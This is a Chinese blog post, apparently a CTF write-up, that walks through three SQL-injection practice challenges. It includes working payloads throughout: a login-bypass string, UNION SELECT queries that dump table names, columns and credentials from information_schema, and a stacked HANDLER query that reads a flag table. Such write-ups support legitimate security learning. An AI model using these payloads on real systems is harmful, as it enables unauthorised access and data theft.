ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

CTF_Day2

CTF_Day2

[极客大挑战 2019]EasySQL

这道题是非常基础的sql注入

进去之后就是一个登录界面,输入万能钥匙就能实现查到flag

1' or 1=1 # //用户名 1 //密码随意

[极客大挑战 2019]LoveSQL

这个也是sql注入的一种是命令执行注入

用万能钥匙注入后确实可以实现绕过,说明存在注入漏洞

但现在访问后没有flag,后尝试从别的角度入手,也许是还存在一个数据库可以访问,

从某一方面将union来实现访问一个网站后再访问另一个网站,也就是用union来拼接我们真正想要访问的;

但再用union之前先要知道访问的表里面有哪些是会出现回显的字段,

所以要先查表来就确定有几个字段

1' order by 4 #

order by 列名;

order by原本是 MySQL 原生语法:对查询结果按照某一列排序
它再sql注入时可以用来尝试测试有多少列,由于他的特性,在列数超过实际的列数时就会导致出现错误,可以这一特点来测试有多少列

当我用order by 3时会出现

代表访问不了而不是报错

代表当4时就已经超出了列数,表明要表内就是3列

后就是需要查阅相关的回显的是哪几列就输入一下内容

1' union select 1,2,3#

让后在后端运行的代码就是

select * from 表 where username='1'union select 1,2,3#' and password='1'

就是这样可以就看到是2和3位置是回显的,
可以看到3的字段都是password,尝试去进行爆破

select id,username,password from geekuser where username='$用户输入' and password='$pass'
select id,username,password from geekuser where username='1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #' and password='$pass'

拼接后就是这个样子,

就呢个够查到表的名称,看到另一个是l0ve1ysq1

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

不敢想现在的flag都是全随机的

[强网杯 2019]随便注

1';HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#
返回列表